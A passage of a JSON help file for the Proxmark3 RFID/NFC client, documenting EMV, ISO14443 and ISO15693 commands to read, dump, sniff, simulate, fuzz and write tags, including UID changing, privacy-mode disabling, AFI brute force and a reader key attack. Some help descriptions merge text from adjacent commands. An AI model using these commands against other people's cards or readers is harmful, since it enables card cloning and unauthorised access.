--apdu show apdu reqests and responses", + "-w, -w, --wired send data via contact (iso7816) interface. contactless interface set by default." + ], + "usage": "emv challenge [-hkaw]" + }, + "emv genac": { + "command": "emv genac", + "description": "generate application cryptogram command. it returns data in tlv format. needs a emv applet to be selected and gpo to be executed.", + "notes": [ + "emv genac -k 0102 -> generate ac with 2-byte cdoldata and keep field on after command", + "emv genac -t 01020304 -> generate ac with 4-byte cdol data, show result in tlv", + "emv genac -daac 01020304 -> generate ac with 4-byte cdol data and terminal decision 'declined'", + "emv genac -pmt 9f 37 04 -> load params from file, make cdol data from cdol, generate ac with cdol, show result in tlv" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, -k, --keep keep field on for next command", + "-c, -c, --cda executes cda transaction. needs to get sdad in results.", + "-d, -d, --decision terminal decision. aac - declined, tc - approved, arqc - online authorisation requested", + "-p, -p, --params load parameters from `emv_defparams.json` file for cdoldata making from cdol and parameters", + "-m, -m, --make make cdoldata from cdol (tag 8c and 8d) and parameters (by default uses default parameters)", + "-a, -a, --apdu show apdu reqests and responses", + "-t, -t, --tlv tlv decode results of selected applets", + "-w, -w, --wired send data via contact (iso7816) interface. contactless interface set by default." + ], + "usage": "emv genac [-hkcpmatw] [-d ] []..." + }, + "emv gpo": { + "command": "emv gpo", + "description": "executes get processing options command. it returns data in tlv format (0x77 - format2) or plain format (0x80 - format1). needs a emv applet to be selected.", + "notes": [ + "emv gpo -k -> execute gpo", + "emv gpo -t 01020304 -> execute gpo with 4-byte pdol data, show result in tlv", + "emv gpo -pmt 9f 37 04 -> load params from file, make pdol data from pdol, execute gpo with pdol, show result in tlv" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, -k, --keep keep field on for next command", + "-p, -p, --params load parameters from `emv_defparams.json` file for pdoldata making from pdol and parameters", + "-m, -m, --make make pdoldata from pdol (tag 9f38) and parameters (by default uses default parameters)", + "-a, -a, --apdu show apdu reqests and responses", + "-t, -t, --tlv tlv decode results of selected applets", + "-w, -w, --wired send data via contact (iso7816) interface. contactless interface set by default." + ], + "usage": "emv gpo [-hkpmatw] []..." + }, + "emv help": { + "command": "emv help", + "description": "help this help test crypto logic test. list list iso7816 history --------------------------------------------------------------------------------------- emv exec available offline: no executes emv contactless transaction", + "notes": [ + "emv exec -sat -> select card, execute msd transaction, show apdu and tlv", + "emv exec -satc -> select card, execute cda transaction, show apdu and tlv" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-s, -s, --select activate field and select card.", + "-a, -a, --apdu show apdu reqests and responses.", + "-t, -t, --tlv tlv decode results.", + "-j, -j, --jload load transaction parameters from `emv_defparams.json` file.", + "-f, -f, --forceaid force search aid. search aid instead of execute ppse.", + "by default: transaction type - msd", + "-v, -v, --qvsdc transaction type - qvsdc or m/chip.", + "-c, -c, --qvsdccda transaction type - qvsdc or m/chip plus cda (sdad generation).", + "-x, -x, --vsdc transaction type - vsdc. for test only. not a standard behavior.", + "-g, -g, --acgpo visa. generate ac from gpo.", + "-w, -w, --wired send data via contact (iso7816) interface. contactless interface set by default." + ], + "usage": "emv exec [-hsatjfvcxgw] by default:" + }, + "emv intauth": { + "command": "emv intauth", + "description": "generate internal authenticate command. usually needs 4-byte random number. it returns data in tlv format . needs a emv applet to be selected and gpo to be executed.", + "notes": [ + "emv intauth -k 01020304 -> execute internal authenticate with 4-byte ddoldata and keep field on after command", + "emv intauth -t 01020304 -> execute internal authenticate with 4-byte ddol data, show result in tlv", + "emv intauth -pmt 9f 37 04 -> load params from file, make ddol data from ddol, internal authenticate with ddol, show result in tlv" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, -k, --keep keep field on for next command", + "-p, -p, --params load parameters from `emv_defparams.json` file for ddoldata making from ddol and parameters", + "-m, -m, --make make ddoldata from ddol (tag 9f49) and parameters (by default uses default parameters)", + "-a, -a, --apdu show apdu reqests and responses", + "-t, -t, --tlv tlv decode results of selected applets", + "-w, -w, --wired send data via contact (iso7816) interface. contactless interface set by default." + ], + "usage": "emv intauth [-hkpmatw] []..." + }, + "emv list": { + "command": "emv list", + "description": "alias of `trace list -t 7816` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "emv list -f -> show frame delay times", + "emv list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "emv list [-h1fcrux] [--dict ]..." + }, + "emv pse": { + "command": "emv pse", + "description": "executes pse/ppse select command. it returns list of applet on the card:", + "notes": [ + "emv pse -s1 -> select, get pse", + "emv pse -st2 -> select, get ppse, show result in tlv" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, -s, --select activate field and select card", + "-k, -k, --keep keep field on for next command", + "-1, --pse pse (1pay.sys.ddf01) mode", + "-2, --ppse ppse (2pay.sys.ddf01) mode (default mode)", + "-a, -a, --apdu show apdu reqests and responses", + "-t, -t, --tlv tlv decode results of selected applets", + "-w, -w, --wired send data via contact (iso7816) interface. contactless interface set by default." + ], + "usage": "emv pse [-hsk12atw]" + }, + "emv readrec": { + "command": "emv readrec", + "description": "executes read record command. it returns data in tlv format. needs a bank applet to be selected and sometimes needs gpo to be executed.", + "notes": [ + "emv readrec -k 0101 -> read file sfi=01, sfirec=01", + "emv readrec -kt 0201 -> read file 0201 and show result in tlv" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, -k, --keep keep field on for next command", + "-a, -a, --apdu show apdu reqests and responses", + "-t, -t, --tlv tlv decode results of selected applets", + "-w, -w, --wired send data via contact (iso7816) interface. contactless interface set by default." + ], + "usage": "emv readrec [-hkatw] []..." + }, + "emv roca": { + "command": "emv roca", + "description": "tries to extract public keys and run the roca test against them.", + "notes": [ + "emv roca -w -> select --contact-- card and run test", + "emv roca -> select --contactless-- card and run test" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-t, -t, --selftest self test", + "-a, -a, --apdu show apdu reqests and responses", + "-w, -w, --wired send data via contact (iso7816) interface. contactless interface set by default" + ], + "usage": "emv roca [-htaw]" + }, + "emv scan": { + "command": "emv scan", + "description": "scan emv card and save it contents to a file. it executes emv contactless transaction and saves result to a file which can be used for emulation", + "notes": [ + "emv scan -at -> scan msd transaction mode and show apdu and tlv", + "emv scan -c -> scan cda transaction mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, -a, --apdu show apdu reqests and responses.", + "-t, -t, --tlv tlv decode results.", + "-e, -e, --extract extract tlv elements and fill application data", + "-j, -j, --jload load transaction parameters from `emv_defparams.json` file.", + "by default: transaction type - msd", + "-v, -v, --qvsdc transaction type - qvsdc or m/chip.", + "-c, -c, --qvsdccda transaction type - qvsdc or m/chip plus cda (sdad generation).", + "-x, -x, --vsdc transaction type - vsdc. for test only. not a standard behavior.", + "-g, -g, --acgpo visa. generate ac from gpo.", + "-m, -m, --merge merge output file with card's data. (warning: the file may be corrupted!)", + "-w, -w, --wired send data via contact (iso7816) interface. contactless interface set by default.", + "output.json json output file name" + ], + "usage": "emv scan [-hatejvcxgmw] by default: output.json" + }, + "emv search": { + "command": "emv search", + "description": "tries to select all applets from applet list", + "notes": [ + "emv search -s -> select card and search", + "emv search -st -> select card, search and show result in tlv" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, -s, --select activate field and select card", + "-k, -k, --keep keep field on for next command", + "-a, -a, --apdu show apdu reqests and responses", + "-t, -t, --tlv tlv decode results of selected applets", + "-w, -w, --wired send data via contact (iso7816) interface. contactless interface set by default." + ], + "usage": "emv search [-hskatw]" + }, + "emv select": { + "command": "emv select", + "description": "executes select applet command", + "notes": [ + "emv select -s a00000000101 -> select card, select applet", + "emv select -st a00000000101 -> select card, select applet, show result in tlv" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, -s, --select activate field and select card", + "-k, -k, --keep keep field for next command", + "-a, -a, --apdu show apdu reqests and responses", + "-t, -t, --tlv tlv decode results", + "-w, -w, --wired send data via contact (iso7816) interface. contactless interface set by default." + ], + "usage": "emv select [-hskatw] []..." + }, + "emv test": { + "command": "emv test", + "description": "executes tests", + "notes": [ + "emv test -i", + "emv test --long" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-i, --ignore ignore timing tests for vm", + "-l, --long run long tests too" + ], + "usage": "emv test [-hil]" + }, + "exit": { + "command": "exit", + "description": "quit the proxmark3 client terminal", + "notes": [ + "quit" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "quit [-h]" + }, + "help": { + "command": "help", + "description": "help use ` help` for details of a command prefs { edit client/device preferences... } -------- ----------------------- technology ----------------------- analyse { analyse utils... } data { plot window / data buffer manipulation... } emv { emv iso-14443 / iso-7816... } hf { high frequency commands... } hw { hardware commands... } lf { low frequency commands... } nfc { nfc commands... } reveng { crc calculations from reveng software... } smart { smart card iso-7816 commands... } script { scripting commands... } trace { trace manipulation... } wiegand { wiegand format manipulation... } -------- ----------------------- general ----------------------- clear clear screen hints turn hints on / off msleep add a pause in milliseconds rem add a text line in log file quit exit exit program [=] session log /home/phil/.proxmark3/logs/log_20210531.txt --------------------------------------------------------------------------------------- auto available offline: no run lf search / hf search / data plot / data save", + "notes": [ + "auto" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-c continue searching even after a first hit" + ], + "usage": "auto [-hc]" + }, + "hf 14a antifuzz": { + "command": "hf 14a antifuzz", + "description": "tries to fuzz the iso14443a anticollision phase", + "notes": [ + "hf 14a antifuzz -4" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-4 4 byte uid", + "-7 7 byte uid", + "--10 10 byte uid" + ], + "usage": "hf 14a antifuzz [-h47] [--10]" + }, + "hf 14a apdu": { + "command": "hf 14a apdu", + "description": "sends an iso 7816-4 apdu via iso 14443-4 block transmission protocol (t=cl). works with all apdu types from iso 7816-4:2013", + "notes": [ + "hf 14a apdu -st 00a404000e325041592e5359532e444446303100", + "hf 14a apdu -sd 00a404000e325041592e5359532e444446303100 -> decode apdu", + "hf 14a apdu -sm 00a40400 325041592e5359532e4444463031 -l 256 -> encode standard apdu", + "hf 14a apdu -sm 00a40400 325041592e5359532e4444463031 -el 65536 -> encode extended apdu" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --select activate field and select card", + "-k, --keep keep signal field on after receive", + "-t, --tlv executes tlv decoder if it possible", + "-d, --decapdu decode apdu request if it possible", + "-m, --make make apdu with head from this field and data from data field. must be 4 bytes length: ", + "-e, --extended make extended length apdu if `m` parameter included", + "-l, --le le apdu parameter if `m` parameter included", + " data if `m` parameter included" + ], + "usage": "hf 14a apdu [-hsktde] [-m ] [-l ] []..." + }, + "hf 14a chaining": { + "command": "hf 14a chaining", + "description": "enable/disable iso14443a input chaining. maximum input length goes from ats.", + "notes": [ + "hf 14a chaining disable -> disable chaining", + "hf 14a chaining -> show chaining enable/disable state" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf 14a chaining [-h] []" + }, + "hf 14a config": { + "command": "hf 14a config", + "description": "--------------------------------------------------------------------------------------- hf 14a apdufind available offline: no enumerate apdu's of iso7816 protocol to find valid cls/ins/p1/p2 commands. it loops all 256 possible values for each byte. the loop oder is ins -> p1/p2 (alternating) -> cla. tag must be on antenna before running.", + "notes": [ + "hf 14a apdufind", + "hf 14a apdufind --cla 80", + "hf 14a apdufind --cla 80 --error-limit 20 --skip-ins a4 --skip-ins b0 --with-le" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-c, --cla start value of class (1 hex byte)", + "-i, --ins start value of instruction (1 hex byte)", + "--p1 start value of p1 (1 hex byte)", + "--p2 start value of p2 (1 hex byte)", + "-r, --reset minimum secondes before resetting the tag (to prevent timeout issues). default is 5 minutes", + "-e, --error-limit maximum times an status word other than 0x9000 or 0x6d00 is shown. default is 512.", + "-s, --skip-ins do not test an instructions (can be specifed multiple times)", + "-l, --with-le serach for apdus with le=0 (case 2s) as well", + "-v, --verbose verbose output" + ], + "usage": "hf 14a apdufind [-hlv] [-c ] [-i ] [--p1 ] [--p2 ] [-r ] [-e ] [-s ]..." + }, + "hf 14a cuids": { + "command": "hf 14a cuids", + "description": "collect n>0 iso14443-a uids in one go", + "notes": [ + "hf 14a cuids -n 5 -> collect 5 uids" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n, --num number of uids to collect" + ], + "usage": "hf 14a cuids [-h] [-n ]" + }, + "hf 14a help": { + "command": "hf 14a help", + "description": "help this help list list iso 14443-a history --------------------------------------------------------------------------------------- hf 14a list available offline: yes alias of `trace list -t 14a` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf 14a list -f -> show frame delay times", + "hf 14a list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf 14a list [-h1fcrux] [--dict ]..." + }, + "hf 14a info": { + "command": "hf 14a info", + "description": "this command makes more extensive tests against a iso14443a tag in order to collect information", + "notes": [ + "hf 14a info -nsv -> shows full information about the card" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-v, --verbose adds some information to results", + "-n, --nacktest test for nack bug", + "-s, --aidsearch checks if aids from aidlist.json is present on the card and prints information about found aids" + ], + "usage": "hf 14a info [-hvns]" + }, + "hf 14a ndefread": { + "command": "hf 14a ndefread", + "description": "read nfc data exchange format (ndef) file on type 4 ndef tag", + "notes": [ + "hf 14a ndefread" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf 14a ndefread [-h]" + }, + "hf 14a raw": { + "command": "hf 14a raw", + "description": "sends raw bytes over iso14443a. with option to use topaz 14a mode.", + "notes": [ + "hf 14a raw -sc 3000 -> select, crc, where 3000 == 'read block 00'", + "hf 14a raw -ak -b 7 40 -> send 7 bit byte 0x40" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a active signal field on without select", + "-b number of bits to send. useful for send partial byte", + "-c calculate and append crc", + "-k keep signal field on after receive", + "-3 iso14443-3 select only (skip rats)", + "-r do not read response", + "-s active signal field on with select", + "-t, --timeout timeout in milliseconds", + "-v, --verbose verbose output", + "--topaz use topaz protocol to send command", + " raw bytes to send" + ], + "usage": "hf 14a raw [-hack3rsv] [-b ] [-t ] [--topaz] []..." + }, + "hf 14a reader": { + "command": "hf 14a reader", + "description": "act as a iso-14443a reader to identify tag. look for iso-14443a tags until enter or the pm3 button is pressed", + "notes": [ + "hf 14a reader -@ -> continuous mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --keep keep the field active after command executed", + "-s, --silent silent (no messages)", + "--drop just drop the signal field", + "--skip iso14443-3 select only (skip rats)", + "-@ continuous reader mode" + ], + "usage": "hf 14a reader [-hks@] [--drop] [--skip]" + }, + "hf 14a sim": { + "command": "hf 14a sim", + "description": "simulate iso/iec 14443 type a tag with 4,7 or 10 byte uid", + "notes": [ + "hf 14a sim -t 1 --uid 11223344 -> mifare classic 1k", + "hf 14a sim -t 2 -> mifare ultralight", + "hf 14a sim -t 3 -> mifare desfire", + "hf 14a sim -t 4 -> iso/iec 14443-4", + "hf 14a sim -t 5 -> mifare tnp3xxx", + "hf 14a sim -t 6 -> mifare mini", + "hf 14a sim -t 7 -> amiibo (ntag 215), pack 0x8080", + "hf 14a sim -t 8 -> mifare classic 4k", + "hf 14a sim -t 9 -> fm11rf005sh shanghai metro", + "hf 14a sim -t 10 -> st25ta ikea rothult" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-t, --type <1-10> simulation type to use", + "-u, --uid 4, 7 or 10 byte uid", + "-n, --num exit simulation after blocks have been read by reader. 0 = infinite", + "-x performs the 'reader attack', nr/ar attack against a reader", + "--sk fill simulator keys from found keys", + "-v, --verbose verbose output" + ], + "usage": "hf 14a sim [-hxv] -t <1-10> [-u ] [-n ] [--sk]" + }, + "hf 14a sniff": { + "command": "hf 14a sniff", + "description": "collect data from the field and save into command buffer. buffer accessible from command 'hf 14a list'", + "notes": [ + "hf 14a sniff -c -r" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-c, --card triggered by first data from card", + "-r, --reader triggered by first 7-bit request from reader (req,wup,...)" + ], + "usage": "hf 14a sniff [-hcr]" + }, + "hf 14b dump": { + "command": "hf 14b dump", + "description": "this command dumps the contents of a iso-14443-b tag and save it to file tries to autodetect cardtype, memory size defaults to sri4k", + "notes": [ + "hf 14b dump", + "hf 14b dump -f myfilename" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file (optional) filename, if no uid will be used as filename" + ], + "usage": "hf 14b dump [-h] [-f ]..." + }, + "hf 14b help": { + "command": "hf 14b help", + "description": "help this help list list iso-14443-b history --------------------------------------------------------------------------------------- hf 14b apdu available offline: no sends an iso 7816-4 apdu via iso 14443-4 block transmission protocol (t=cl). works with all apdu types from iso 7816-4:2013", + "notes": [ + "hf 14b apdu -s -d 94a40800043f000002", + "hf 14b apdu -s --decode -d 00a404000e325041592e5359532e444446303100 -> decode apdu", + "hf 14b apdu -sm 00a40400 -l 256 -d 325041592e5359532e4444463031 -> encode standard apdu", + "hf 14b apdu -sm 00a40400 -el 65536 -d 325041592e5359532e4444463031 -> encode extended apdu" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-s, --select activate field and select card", + "-k, --keep leave the signal field on after receive response", + "-t, --tlv executes tlv decoder if it possible", + "--decode decode apdu request if it possible", + "-m, --make make apdu with head from this field and data from data field.", + "must be 4 bytes: ", + "-e, --extended make extended length apdu if `m` parameter included", + "-l, --le le apdu parameter if `m` parameter included", + "-d, --data if `m` parameter included", + "--timeout timeout in ms" + ], + "usage": "hf 14b apdu [-hskte] [--decode] [-m ] [-l ] -d [-d ]... [--timeout ]" + }, + "hf 14b info": { + "command": "hf 14b info", + "description": "tag information for iso/iec 14443 type b based tags", + "notes": [ + "hf 14b info" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --aidsearch checks if aids from aidlist.json is present on the card and prints information about found aids", + "-v, --verbose verbose" + ], + "usage": "hf 14b info [-hsv]" + }, + "hf 14b list": { + "command": "hf 14b list", + "description": "alias of `trace list -t 14b` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf 14b list -f -> show frame delay times", + "hf 14b list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf 14b list [-h1fcrux] [--dict ]..." + }, + "hf 14b ndefread": { + "command": "hf 14b ndefread", + "description": "print nfc data exchange format (ndef)", + "notes": [ + "hf 14b ndefread" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf 14b ndefread [-h]" + }, + "hf 14b raw": { + "command": "hf 14b raw", + "description": "sends raw bytes to card", + "notes": [ + "hf 14b raw -cks --data 0200a40400 -> standard select, apdu 0200a4000 (7816)", + "hf 14b raw -ck --sr --data 0200a40400 -> srx select", + "hf 14b raw -ck --cts --data 0200a40400 -> c-ticket select" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --keep leave the signal field on after receive response", + "-s, --std activate field, use iso14b select", + "--sr activate field, use srx st select", + "--cts activate field, use ask c-ticket select", + "-c, --crc calculate and append crc", + "-r do not read response from card", + "-t, --timeout timeout in ms", + "-v, --verbose verbose", + "-d, --data data, bytes to send" + ], + "usage": "hf 14b raw [-hkscrv] [--sr] [--cts] [-t ] [-d ]..." + }, + "hf 14b rdbl": { + "command": "hf 14b rdbl", + "description": "read sri512 | srix4k block", + "notes": [ + "hf 14b rdbl -b 06" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --block block number" + ], + "usage": "hf 14b rdbl [-h] [-b ]" + }, + "hf 14b reader": { + "command": "hf 14b reader", + "description": "act as a 14443b reader to identify a tag", + "notes": [ + "hf 14b reader" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --silent silent (no messages)", + "-@ optional - continuous reader mode" + ], + "usage": "hf 14b reader [-hs@]" + }, + "hf 14b sim": { + "command": "hf 14b sim", + "description": "simulate a iso/iec 14443 type b tag with 4 byte uid / pupi", + "notes": [ + "hf 14b sim -u 11aa33bb" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid hex 4byte uid/pupi" + ], + "usage": "hf 14b sim [-h] [-u hex]..." + }, + "hf 14b sniff": { + "command": "hf 14b sniff", + "description": "sniff the communication reader and tag", + "notes": [ + "hf 14b sniff" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf 14b sniff [-h]" + }, + "hf 14b sriwrite": { + "command": "hf 14b sriwrite", + "description": "write data to a sri512 or srix4k block", + "notes": [ + "hf 14b sriwrite --4k -b 100 -d 11223344", + "hf 14b sriwrite --4k --sb -d 11223344 -> special block write", + "hf 14b sriwrite --512 -b 15 -d 11223344", + "hf 14b sriwrite --512 --sb -d 11223344 -> special block write" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --block block number", + "-d, --data 4 hex bytes", + "--512 target sri 512 tag", + "--4k target srix 4k tag", + "--sb special block write at end of memory (0xff)" + ], + "usage": "hf 14b sriwrite [-h] [-b ] -d [--512] [--4k] [--sb]" + }, + "hf 15 csetuid": { + "command": "hf 15 csetuid", + "description": "set uid for magic chinese card (only works with such cards)", + "notes": [ + "hf 15 csetuid -u e011223344556677" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid <8b hex> uid eg e011223344556677" + ], + "usage": "hf 15 csetuid [-h] -u <8b hex>" + }, + "hf 15 demod": { + "command": "hf 15 demod", + "description": "tries to demodulate / decode iso-15693, from downloaded samples. gather samples with 'hf 15 samples' / 'hf 15 sniff'", + "notes": [ + "hf 15 demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "hf 15 demod [-h]" + }, + "hf 15 dump": { + "command": "hf 15 dump", + "description": "this command dumps the contents of a iso-15693 tag and save it to file", + "notes": [ + "hf 15 dump", + "hf 15 dump -*", + "hf 15 dump -u e011223344556677 -f hf-15-my-dump.bin" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid full uid, 8 bytes", + "--ua unaddressed mode", + "-* scan for tag", + "-2 use slower '1 out of 256' mode", + "-o, --opt set option flag (needed for ti)", + "-f, --file filename of dump" + ], + "usage": "hf 15 dump [-h*2o] [-u ] [--ua] [-f ]" + }, + "hf 15 findafi": { + "command": "hf 15 findafi", + "description": "this command attempts to brute force afi of an iso-15693 tag estimated execution time is around 2 minutes", + "notes": [ + "hf 15 findafi" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf 15 findafi [-h]" + }, + "hf 15 help": { + "command": "hf 15 help", + "description": "----------- --------------------- general --------------------- help this help list list iso-15693 history demod demodulate iso-15693 from tag --------------------------------------------------------------------------------------- hf 15 list available offline: yes alias of `trace list -t 15` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf 15 list -f -> show frame delay times", + "hf 15 list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf 15 list [-h1fcrux] [--dict ]..." + }, + "hf 15 info": { + "command": "hf 15 info", + "description": "uses the optional command `get_systeminfo` 0x2b to try and extract information", + "notes": [ + "hf 15 info", + "hf 15 info -*", + "hf 15 info -u e011223344556677" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid full uid, 8 bytes", + "--ua unaddressed mode", + "-* scan for tag", + "-2 use slower '1 out of 256' mode", + "-o, --opt set option flag (needed for ti)" + ], + "usage": "hf 15 info [-h*2o] [-u ] [--ua]" + }, + "hf 15 raw": { + "command": "hf 15 raw", + "description": "sends raw bytes over iso-15693 to card", + "notes": [ + "hf 15 raw -c -d 260100 -> add crc", + "hf 15 raw -krc -d 260100 -> add crc, keep field on, skip response" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-2 use slower '1 out of 256' mode", + "-c, --crc calculate and append crc", + "-k keep signal field on after receive", + "-r do not read response", + "-d, --data raw bytes to send" + ], + "usage": "hf 15 raw [-h2ckr] -d [-d ]..." + }, + "hf 15 rdbl": { + "command": "hf 15 rdbl", + "description": "read page on iso-15693 tag", + "notes": [ + "hf 15 rdbl -* -b 12", + "hf 15 rdbl -u e011223344556677 -b 12" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid full uid, 8 bytes", + "--ua unaddressed mode", + "-* scan for tag", + "-2 use slower '1 out of 256' mode", + "-o, --opt set option flag (needed for ti)", + "-b, --blk page number (0-255)" + ], + "usage": "hf 15 rdbl [-h*2o] [-u ] [--ua] -b " + }, + "hf 15 rdmulti": { + "command": "hf 15 rdmulti", + "description": "read multiple pages on a iso-15693 tag", + "notes": [ + "hf 15 rdmulti -* -b 1 --cnt 6 -> read 6 blocks", + "hf 15 rdmulti -u e011223344556677 -b 12 --cnt 3 -> read three blocks" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid full uid, 8 bytes", + "--ua unaddressed mode", + "-* scan for tag", + "-2 use slower '1 out of 256' mode", + "-o, --opt set option flag (needed for ti)", + "-b first page number (0-255)", + "--cnt number of pages (1-6)" + ], + "usage": "hf 15 rdmulti [-h*2o] [-u ] [--ua] -b --cnt " + }, + "hf 15 reader": { + "command": "hf 15 reader", + "description": "act as a iso-15693 reader. look for iso-15693 tags until enter or the pm3 button is pressed", + "notes": [ + "hf 15 reader", + "hf 15 reader -@ -> continuous mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ continuous reader mode" + ], + "usage": "hf 15 reader [-h@]" + }, + "hf 15 restore": { + "command": "hf 15 restore", + "description": "this command restore the contents of a dump file onto a iso-15693 tag", + "notes": [ + "hf 15 restore", + "hf 15 restore -*", + "hf 15 restore -u e011223344556677 -f hf-15-my-dump.bin" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid full uid, 8 bytes", + "--ua unaddressed mode", + "-* scan for tag", + "-2 use slower '1 out of 256' mode", + "-o, --opt set option flag (needed for ti)", + "-f, --file filename of dump", + "-r, --retry number of retries (def 3)", + "--bs block size (def 4)", + "-v, --verbose verbose output" + ], + "usage": "hf 15 restore [-h*2ov] [-u ] [--ua] [-f ] [-r ] [--bs ]" + }, + "hf 15 samples": { + "command": "hf 15 samples", + "description": "acquire samples as reader (enables carrier, send inquiry and download it to graphbuffer. try 'hf 15 demod' to try to demodulate/decode signal", + "notes": [ + "hf 15 samples" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf 15 samples [-h]" + }, + "hf 15 sim": { + "command": "hf 15 sim", + "description": "simulate a iso-15693 tag", + "notes": [ + "hf 15 sim -u e011223344556677" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid <8b hex> uid eg e011223344556677" + ], + "usage": "hf 15 sim [-h] -u <8b hex>" + }, + "hf 15 slixdisable": { + "command": "hf 15 slixdisable", + "description": "disable privacy mode on slix iso-15693 tag", + "notes": [ + "hf 15 slixdisable -p 0f0f0f0f" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-p, --pwd password, 8 hex bytes" + ], + "usage": "hf 15 slixdisable [-h] -p " + }, + "hf 15 sniff": { + "command": "hf 15 sniff", + "description": "sniff activity without enabling carrier", + "notes": [ + "hf 15 sniff" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf 15 sniff [-h]" + }, + "hf 15 wrbl": { + "command": "hf 15 wrbl", + "description": "write block on iso-15693 tag", + "notes": [ + "hf 15 wrbl -* -b 12 -d aabbccdd", + "hf 15 wrbl -u e011223344556677 -b 12 -d aabbccdd" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid full uid, 8 bytes", + "--ua unaddressed mode", + "-* scan for tag", + "-2 use slower '1 out of 256' mode", + "-o, --opt set option flag (needed for ti)", + "-b, --blk page number (0-255)", + "-d, --data data, 4 bytes", + "-v, --verbose verbose output" + ], + "usage": "hf 15 wrbl [-h*2ov] [-u ] [--ua] -b -d " + }, + "hf 15 writeafi": { + "command": "hf 15 writeafi", + "description": "write afi on card", + "notes": [ + "hf 15 writeafi -* --afi 12", + "hf 15 writeafi -u e011223344556677 --afi 12" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid full uid, 8 bytes", + "--ua unaddressed mode", + "-* scan for tag", + "-2 use slower '1 out of 256' mode", + "-o, --opt set option flag (needed for ti)", + "--afi afi number (0-255)" + ], + "usage": "hf 15 writeafi [-h*2o] [-u ] [--ua] --afi " + }, + "hf 15 writedsfid": { + "command": "hf 15 